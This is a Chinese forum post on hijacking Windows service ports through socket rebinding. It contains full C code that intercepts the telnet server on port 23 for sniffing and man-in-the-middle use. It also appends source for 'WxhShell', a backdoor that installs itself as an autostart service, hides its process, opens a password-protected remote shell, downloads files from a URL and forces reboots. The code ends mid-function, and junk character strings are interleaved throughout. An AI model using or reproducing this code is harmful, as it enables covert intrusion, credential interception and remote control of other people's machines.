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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I_`$$-|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TaG (sRI  
fHF*#  
  saddr.sin_family = AF_INET; C9%A?'`  
G Mg|#DV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JGlp7wro  
(]"`>, ray  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >)F)@KAuN4  
[WR*u\FF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V4<f4|IL  
"6WE6zq   
  这意味着什么?意味着可以进行如下的攻击: ZjgfkZAS  
r#mH[|@W~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G'iE`4`2  
#!j wn^yq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a/~1CrYr  
2Gc0pBqx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RbEtNwG@c  
7] >z e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P.Qz>c^-C  
)9 {!=k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D' h%.  
za5E{<0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a;G>56iw  
70A* !v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /6'5uP   
E7U.>8C  
  #include xQs._YY  
  #include X<:Zx#J?i  
  #include 7!g4`@!5M  
  #include    s&W^?eKr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XAUHF-"WE  
  int main() 5Kkp1K$M  
  { 5Noy~;  
  WORD wVersionRequested; 'DB'lP  
  DWORD ret; RAoY`AWI  
  WSADATA wsaData; q:P44`Aq  
  BOOL val; XNkZ^3mq  
  SOCKADDR_IN saddr; .#Lu/w' -M  
  SOCKADDR_IN scaddr; BKfoeN)%  
  int err; VBg M7d  
  SOCKET s; 810uxw{\  
  SOCKET sc; Nf9$q| %!  
  int caddsize; HA;G{[X  
  HANDLE mt; j>O!|V  
  DWORD tid;   o=Kd9I#  
  wVersionRequested = MAKEWORD( 2, 2 ); u:}yE^8@  
  err = WSAStartup( wVersionRequested, &wsaData );  rUBc5@|  
  if ( err != 0 ) { O<+x=>_  
  printf("error!WSAStartup failed!\n"); Y-P?t+l  
  return -1; xU;Q ~(  
  } (+.R8  
  saddr.sin_family = AF_INET; MgQb" qx  
   "tU,.U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *qw//W   
bP1]:^ x@W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3Ebkq[/*%  
  saddr.sin_port = htons(23); 4nD U-P#f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CQET  
  { 9y*pn|A[F  
  printf("error!socket failed!\n"); cG4$)q;q  
  return -1; wGx*Xy1n<  
  } 2]_fNCNLN  
  val = TRUE; 6V @ [< d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =\x(Rs3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IUwMIHq&sW  
  { aeTVcq  
  printf("error!setsockopt failed!\n"); HhT6gJWrU  
  return -1; a>)|SfsE  
  } /~_,p,:aP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hR~~k~84  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -Z&9pI(3R~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^r^)  &]  
LVNJlRK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )uH#+IU  
  { @l@erCw@  
  ret=GetLastError(); +r 8/\'u-  
  printf("error!bind failed!\n"); ?&$BQK  
  return -1; hdy N   
  } -e_L2<7  
  listen(s,2); 0)9'x)l:  
  while(1)  pytF K)U  
  { 8i?:aN[.1b  
  caddsize = sizeof(scaddr); ? VHOh9|AT  
  //接受连接请求 cDLjjK7:   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J+f*D+x1  
  if(sc!=INVALID_SOCKET) G>j4b}e  
  { DBZ^n9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -i"?2gK  
  if(mt==NULL) f _*F&-L  
  { rL<a^/b/=  
  printf("Thread Creat Failed!\n"); bjB4  
  break; "' ]|o~B  
  } c>yqq'  
  } //- ;uEO  
  CloseHandle(mt); </) HcRj'e  
  } M%1wT9  
  closesocket(s); (b;*8  
  WSACleanup(); "1>48Z-UC  
  return 0; hd_<J]C  
  }   FKk.BA957h  
  DWORD WINAPI ClientThread(LPVOID lpParam) T8-,t];i  
  { TCetd#;R  
  SOCKET ss = (SOCKET)lpParam; K_CE.8G&{  
  SOCKET sc; iCh,7I,m  
  unsigned char buf[4096]; 6@geakq  
  SOCKADDR_IN saddr; ^z}$ '<D9  
  long num; &bT \4  
  DWORD val; C *U,$8j|}  
  DWORD ret; cP`[/5R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H+F>#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S3.76&  
  saddr.sin_family = AF_INET; geSH3I   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }(Dt,F`  
  saddr.sin_port = htons(23); @0U={qX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h5VZ-v_j  
  { >):^Zs  
  printf("error!socket failed!\n"); FR? \H"'x  
  return -1; _jD\kg#LY  
  } PNhxF C.  
  val = 100; [vyi_0[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >}6V=r3[+  
  { 5 p! rZ  
  ret = GetLastError(); \ 3HB  
  return -1; ?S~j2 J]  
  } kr>H,%3~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pF}WMt  
  { zJX _EO  
  ret = GetLastError(); {~+o+LV  
  return -1; C`r{B.t`GT  
  } K%RjWX=H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pkT26)aW  
  { \9T /%[r#  
  printf("error!socket connect failed!\n"); ~Rk ~Zn  
  closesocket(sc); ud:5_*  
  closesocket(ss); VDy\2-b8d  
  return -1; 'fr~1pmx#3  
  } Eu1t*>ZL  
  while(1) <X ~P62<  
  { \O(~:KN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iFkXt<_A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ 2E*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #/LU@+  
  num = recv(ss,buf,4096,0); +/4wioGm  
  if(num>0) :*dfP/GO  
  send(sc,buf,num,0); vvmG46IgZ  
  else if(num==0) 6Us*zKgW  
  break; U3b&/z|b?  
  num = recv(sc,buf,4096,0); }?^5L7n  
  if(num>0) P1IL ]  
  send(ss,buf,num,0); :DoE_  
  else if(num==0) w-wap  
  break; o%sx(g=q6  
  } 'jj|bN  
  closesocket(ss); II) K0<  
  closesocket(sc); e]q(fPK  
  return 0 ; 8m"jd+  
  } '4]_~?&x  
HGl.dO 7NU  
=@y ?Np^A  
========================================================== ~zph,bk  
o GN*p_g  
下边附上一个代码,,WXhSHELL m*H' Cb  
l7vxTj@(-  
========================================================== tiQeON-Q_  
((cRe6  
#include "stdafx.h" W}aCU~  
"`Mowp*  
#include <stdio.h> qEajT"?  
#include <string.h> ~x6<A\  
#include <windows.h> "#G`F  
#include <winsock2.h> g=L80$1  
#include <winsvc.h> (,OF<<OH  
#include <urlmon.h> ^g N/5  
$i]G'fj  
#pragma comment (lib, "Ws2_32.lib") AtYqD<hl:  
#pragma comment (lib, "urlmon.lib") .-4]FGg3  
bd)'1;p  
#define MAX_USER   100 // 最大客户端连接数 U2vM|7 ]VP  
#define BUF_SOCK   200 // sock buffer , Aw Z%  
#define KEY_BUFF   255 // 输入 buffer j`:D BO&)\  
ckdXla  
#define REBOOT     0   // 重启 y ]D[JX[  
#define SHUTDOWN   1   // 关机 U\GuCw  
,4H/>yPw  
#define DEF_PORT   5000 // 监听端口 WO!'("  
iph}!3f  
#define REG_LEN     16   // 注册表键长度 ?'RB'o~  
#define SVC_LEN     80   // NT服务名长度 lFZl}x  
|*n B2  
// 从dll定义API ,Vfjt=6]}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )];Bo.QA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "X,*VQl:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /_qW?LKG/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W*r1Sy  
&(X67  
// wxhshell配置信息 L25%KGg' o  
struct WSCFG { )18C(V-x  
  int ws_port;         // 监听端口 ToX--w4  
  char ws_passstr[REG_LEN]; // 口令 -OXC;y  
  int ws_autoins;       // 安装标记, 1=yes 0=no V_/.]zQA  
  char ws_regname[REG_LEN]; // 注册表键名 TX).*%f [r  
  char ws_svcname[REG_LEN]; // 服务名 N~~ sM"n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hMnm>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1\ Gxk&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \[&&4CN{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,)M/mG?,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @UQ421Z`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6KDm#7J  
G.3yuok9  
}; \wF- [']N  
W5,&*mo  
// default Wxhshell configuration qNi`OVh&  
struct WSCFG wscfg={DEF_PORT, MFQyB+Z  
    "xuhuanlingzhe", IxaF *4JG  
    1, u~7fK  
    "Wxhshell", Z -fiJ75  
    "Wxhshell", (\UpJlW  
            "WxhShell Service", Gj^*  
    "Wrsky Windows CmdShell Service", lc\{47LwZ  
    "Please Input Your Password: ", aM+Am,n`@  
  1, qP BOt;N  
  "http://www.wrsky.com/wxhshell.exe", )kDB*(?  
  "Wxhshell.exe" nrg$V>pD  
    }; 2p~}<B  
7~Z(dTdSG  
// 消息定义模块 (0E<Fz V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9DdR"r'7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nh*6`5yj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ksf6O$  
char *msg_ws_ext="\n\rExit.";  ZvwU  
char *msg_ws_end="\n\rQuit."; *vzEfmN:d  
char *msg_ws_boot="\n\rReboot..."; 3,?LpdTS  
char *msg_ws_poff="\n\rShutdown..."; IG&twJR  
char *msg_ws_down="\n\rSave to "; uHq;z{ 2GI  
"!ks7:}v  
char *msg_ws_err="\n\rErr!"; foUB/&Ee  
char *msg_ws_ok="\n\rOK!"; iDWM-Ytx  
CaC \\5wl  
char ExeFile[MAX_PATH]; $,zW0</P*l  
int nUser = 0; cx]H8]ch7  
HANDLE handles[MAX_USER]; ow{J;vFy\  
int OsIsNt; c9x&:U  
'xLXj>  
SERVICE_STATUS       serviceStatus; RsYMw3)G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _L+j6N.h1  
BbiyyRa  
// 函数声明 Z/czAr@4  
int Install(void); \FIM'EKzu!  
int Uninstall(void); u\;d^A  
int DownloadFile(char *sURL, SOCKET wsh); 1,P\dGmu  
int Boot(int flag); Y#QXvo%  
void HideProc(void); C\4d.~C:w3  
int GetOsVer(void); -^3uQa<zN^  
int Wxhshell(SOCKET wsl); #p ;O3E@  
void TalkWithClient(void *cs); #\ uB!;Q  
int CmdShell(SOCKET sock); UA|\D]xe  
int StartFromService(void); 6-z(34&N  
int StartWxhshell(LPSTR lpCmdLine); ) "Z6Q5k^  
b gxk:$E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `<{LW>Lb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); udXzsY9Ng  
D?=4'"@v  
// 数据结构和表定义 \SoT^PW  
SERVICE_TABLE_ENTRY DispatchTable[] = ..zX  
{ {Fqwr>e  
{wscfg.ws_svcname, NTServiceMain}, _PcF/Gyk  
{NULL, NULL} HX)]@qL  
}; ut#pg+#Q  
5mS/,fs@  
// 自我安装 y)"rh/;  
int Install(void) #0PZa$kM(o  
{ S+"Bq:u"  
  char svExeFile[MAX_PATH]; TOhWfl;  
  HKEY key; \~g,;>%7Y  
  strcpy(svExeFile,ExeFile); #^BttI  
Xmi~fie  
// 如果是win9x系统,修改注册表设为自启动 Ii&p v  
if(!OsIsNt) { {,u})U2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M4D @G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OE}FZCX F  
  RegCloseKey(key); xZ6x`BET-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { na|sKE;{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \KzH5?  
  RegCloseKey(key); @v#,SF{  
  return 0; 7377g'jL  
    } BeN]D  
  } I\x9xJ4x  
} DJ*mWi.  
else {  "iR:KW@  
9ln=f=  
// 如果是NT以上系统,安装为系统服务 q#@r*hl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t|mK5aR4  
if (schSCManager!=0) =H3tkMoi2  
{ #4JLWg  
  SC_HANDLE schService = CreateService T:@7EL  
  ( ;rF[y7\  
  schSCManager, r<4j;"lQK  
  wscfg.ws_svcname, 6ypLE@Mk  
  wscfg.ws_svcdisp, .rITzwgB  
  SERVICE_ALL_ACCESS, 1= 7ASS9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x NjQ"'i8  
  SERVICE_AUTO_START, eWN g?*/  
  SERVICE_ERROR_NORMAL, CmV &+C$V%  
  svExeFile, R7U%v"F>`  
  NULL, jJ-C\ v  
  NULL, uT'l.*W6i  
  NULL, ];lZ:gT  
  NULL, e#,(a  
  NULL [sjkm+ ?  
  ); % P E x  
  if (schService!=0) EZN!3y| m  
  { #]6{>n1*+w  
  CloseServiceHandle(schService); yCA8/)>Gm  
  CloseServiceHandle(schSCManager); ma+AFCi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~\AF\n%  
  strcat(svExeFile,wscfg.ws_svcname); kiyc^s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nJGs,~"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X9NP,6  
  RegCloseKey(key); e0h[(3bXs$  
  return 0; ;g? |y(xv  
    } [`oVMR  
  } \PUJD,9H  
  CloseServiceHandle(schSCManager); O$}.b=N9  
} 3 z(4axH'  
} S1I.l">P  
k=[s%O 6H  
return 1; 92t.@!m`  
} `CH,QT7e  
bc4V&  
// 自我卸载 7KX27.~F  
int Uninstall(void) o{! :N>(  
{ '5 ~cd  
  HKEY key; as|w} $  
PCHspe9!y  
if(!OsIsNt) { pA8As  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W>i"p~!  
  RegDeleteValue(key,wscfg.ws_regname); ];4!0\M  
  RegCloseKey(key); U: Wet,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YcX\t6VK  
  RegDeleteValue(key,wscfg.ws_regname); :>2wVN&\c  
  RegCloseKey(key); !& >`  
  return 0; )0iN2L]U;  
  } .1jiANY  
} "GQ Q8rQ  
} _1&Ar4:  
else { 9i}$245lB  
y:}qoT_.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z-606g  
if (schSCManager!=0) uBa<5YDF  
{ |Ia9bg'1U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p/?o^_s  
  if (schService!=0) 8"9&x} tl-  
  { >>,G3/Zd*  
  if(DeleteService(schService)!=0) { F{!pii5O9  
  CloseServiceHandle(schService); No} U[u.O  
  CloseServiceHandle(schSCManager); ,d,2Q  
  return 0; Xs2 jR14`  
  } a \1QnCy  
  CloseServiceHandle(schService); %Qlc?Wl:  
  } %:d7Ts&?Z  
  CloseServiceHandle(schSCManager); h7!O K  
} %z-*C'j5H  
} HyU:BW;  
P+}~6}wJE  
return 1; ft6)n T/"&  
} 8zD>t~N2C  
!43 !JfD  
// 从指定url下载文件 l^9gFp~I  
int DownloadFile(char *sURL, SOCKET wsh) NBY|U{.g  
{ qrYbc~jI7  
  HRESULT hr; uW(-?  
char seps[]= "/"; ^ls@Gr7`P  
char *token; v62_VT2v  
char *file; Ze eV-  
char myURL[MAX_PATH]; +h4W<YnW  
char myFILE[MAX_PATH]; c\1X NPGG  
#~|k EGt  
strcpy(myURL,sURL); ERV]N:(  
  token=strtok(myURL,seps); p@su:B2Rl  
  while(token!=NULL) 2CO/K_Q  
  { KU/r"lMNlU  
    file=token; o5tCbsHj-  
  token=strtok(NULL,seps); MhD'  
  } fw jo?  
oNAnJ+_  
GetCurrentDirectory(MAX_PATH,myFILE); igfQ,LWe!  
strcat(myFILE, "\\"); |(z{)yWbC[  
strcat(myFILE, file); b4e~Z  
  send(wsh,myFILE,strlen(myFILE),0); oCa Ymi=:  
send(wsh,"...",3,0); &sWr)>vs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p8~lGuH  
  if(hr==S_OK) !%,7*F(  
return 0; jU j\<aW  
else P3&s<mh  
return 1; ORs :S$Nt$  
A _zCSRF,  
} BB/wL_=:  
-[L\:'Gp5  
// 系统电源模块 tF`L]1r>  
int Boot(int flag) F,wB6Cw  
{ 'F/oR/4,  
  HANDLE hToken; h#hr'3bI1  
  TOKEN_PRIVILEGES tkp; B>^6tdz  
{r&mNbz  
  if(OsIsNt) { 6:#o0OeBP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K=[7<b,:3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \5r^D|Rp}  
    tkp.PrivilegeCount = 1; 9:USxFM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 't5ufAT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #cfiN b}GX  
if(flag==REBOOT) { Fvl\.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8(% F{&<;  
  return 0; G;G*!nlWf  
} )t|:_Z  
else { JX=rL6Y@:;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _-_iw&F  
  return 0; $*#^C;7O  
} )4 4Y`v  
  } *OG<+#*\_?  
  else { NZB*;U~t  
if(flag==REBOOT) { /grTOf&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f,TW|Y'{g  
  return 0; MeEa|.  
}  TUcFx_  
else { "/Qz?1>l+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M%S7cIX ]F  
  return 0; ?'MkaG0g  
} [gmov)\c  
} "`49m7q1H  
kw#X,h P  
return 1; (u@:PiU/eP  
} o8g7wM]M  
.dlsiBh  
// win9x进程隐藏模块 +; KUL6  
void HideProc(void) 6dIPgie3w  
{ 3CoZ2  
hu}$\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e"S?qpJK  
  if ( hKernel != NULL ) P51M?3&=l  
  { R5uG.Oj-2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  cca g8LC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %;'~TtW5  
    FreeLibrary(hKernel); j&d5tgLB  
  } ,_e [P  
1Toiqb/  
return; P8z%*/ 3NF  
} MbRTOH  
oe*1jR_J`[  
// 获取操作系统版本 u9hd%}9Qd?  
int GetOsVer(void) Ou_H&R  
{ q5(t2nNb  
  OSVERSIONINFO winfo; M&V'*.xz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xS,24{-HJ  
  GetVersionEx(&winfo); 'Lrn<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6m:$mhA5  
  return 1; %10ONe}  
  else }nd>SK4  
  return 0; H9*k(lnz`  
} >@2<^&K`  
zZ=SAjT QP  
// 客户端句柄模块 :<J7g`f  
int Wxhshell(SOCKET wsl) ^9Pr`\   
{ }4|EHhG  
  SOCKET wsh; ~Gu$E qQ  
  struct sockaddr_in client; Ek{QNlQ]4  
  DWORD myID; 0caZ_-zU  
1rm\u%  
  while(nUser<MAX_USER) &b} \).5E  
{ uHgq"e  
  int nSize=sizeof(client); a{nR:zPE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ` 2W^Ui,4  
  if(wsh==INVALID_SOCKET) return 1; M=^d  
a^ %iAe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pm6#azQ  
if(handles[nUser]==0) p) 8S]p]  
  closesocket(wsh); o$No@~%v  
else 1h$?,  
  nUser++; ;'7(gAE  
  } 4?R979  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N p"p*O  
xb;{<~`71  
  return 0; l0Q5q)U1A  
} E-z5mX.2  
Vu$m1,/  
// 关闭 socket bk0>f   
void CloseIt(SOCKET wsh) r<vMp'u  
{ ZNQ x;51  
closesocket(wsh); 5CY%h  
nUser--; [neuwdN  
ExitThread(0); W@d&X+7e  
} QLd*f[n  
m!<HZvq?vf  
// 客户端请求句柄 N'`X:7fN  
void TalkWithClient(void *cs) 'ITq\1z  
{ Q~,Mzt"}W  
_(N+z.  
  SOCKET wsh=(SOCKET)cs; igxO:]?  
  char pwd[SVC_LEN]; p'R<yB)V  
  char cmd[KEY_BUFF]; P 45Irir  
char chr[1]; xp^RAVXq`  
int i,j; N"70P/  
F 3|^b{'zO  
  while (nUser < MAX_USER) { 4aXIRu%#7  
1/}H 0\9'  
if(wscfg.ws_passstr) { 8 lggGt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,2M}qs"P7G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'UlVc2%{  
  //ZeroMemory(pwd,KEY_BUFF);  &K/?#  
      i=0; n~^SwOt~;5  
  while(i<SVC_LEN) { pfN(Ae Pt  
QG5WsuT  
  // 设置超时 q'mh*  
  fd_set FdRead; EvT$|#FY  
  struct timeval TimeOut; o[ 5dR<  
  FD_ZERO(&FdRead); MmT/J1zM  
  FD_SET(wsh,&FdRead); I*u3 e  
  TimeOut.tv_sec=8; RAW;ze*"  
  TimeOut.tv_usec=0; g|~px$<iY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h(|T.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K\K& K~Z  
Hyb(.hlZh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2K}49*  
  pwd=chr[0]; w!f2~j~  
  if(chr[0]==0xd || chr[0]==0xa) { &;@L] o  
  pwd=0; 2k.VTGak  
  break; X*2W4udF  
  } cH5i420;aO  
  i++; f[o~d`z  
    } ',EI[ ]+  
N~)-\T:ap  
  // 如果是非法用户,关闭 socket `zQuhD 8W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y1PR?c Q  
} bzi"7%c  
"Rj PTRe:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s=8H< 'l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v) n-  
f.6>6%l  
while(1) { dNe!X0[  
iWCYK7c@.-  
  ZeroMemory(cmd,KEY_BUFF); xC)bW,%  
B>2R-pa4~  
      // 自动支持客户端 telnet标准   ` Ig5*X4|  
  j=0; FV^jCseZ  
  while(j<KEY_BUFF) { 6`e{l+c=F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7]VR)VAM  
  cmd[j]=chr[0]; ~,)jZ-fw  
  if(chr[0]==0xa || chr[0]==0xd) { 6W i n!4  
  cmd[j]=0; [q9B" @X  
  break; 0*{(R#  
  } \YvG+7a  
  j++; OUBGbld  
    } D3Q+K  
{)" 3  
  // 下载文件 (| QJ[@?q  
  if(strstr(cmd,"http://")) { !Tnjha*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }1#m+ (;  
  if(DownloadFile(cmd,wsh)) $TUYxf0q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GHv6UIe&  
  else x=*&#; Y|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !ku}vTe  
  } 'kd}vq#|  
  else { 63fYX"  
)@wC6Ij  
    switch(cmd[0]) { e;.,x 5+  
  X$kLBG_  
  // 帮助  ~~>m  
  case '?': { j )J |'b|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A]BeI  
    break; ]Uv,}W  
  } L)'G_)Sl  
  // 安装 f{9+,z   
  case 'i': { #T)Gkc"{  
    if(Install()) Wb}-H-O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T@W:@,34  
    else yT^2;/Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )qxt<  
    break; ^>|ZN2  
    } (5$Ge$  
  // 卸载 Z ]A |"6<  
  case 'r': { XM]m%I  
    if(Uninstall()) b**vUt\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =R5W KX  
    else c9/w{}F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :C5w5 Vnj  
    break; Cv#aBH'N  
    } T~UDD3  
  // 显示 wxhshell 所在路径 +5y^c |L0  
  case 'p': { ";/]rwHa)  
    char svExeFile[MAX_PATH]; }c,b]!:  
    strcpy(svExeFile,"\n\r"); ZKi&f,:  
      strcat(svExeFile,ExeFile); 'w:ugb9]  
        send(wsh,svExeFile,strlen(svExeFile),0); lelmX  
    break; T}Tv}~!f  
    } ucl001EK  
  // 重启 U%vTmdOY  
  case 'b': { <'=!f6Wh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \,;glY=M!  
    if(Boot(REBOOT)) kK5&?)3Y:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN2Sio:  
    else { 4?pb!@l  
    closesocket(wsh); Jh+;+"  
    ExitThread(0); 24wDnDyh  
    } P-X|qVNK1Z  
    break; I9kz)Q o  
    } {a[BhK'g  
  // 关机 TuwP'g[  
  case 'd': { 'n|U   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y}[<KK}_  
    if(Boot(SHUTDOWN)) e'mF1al  
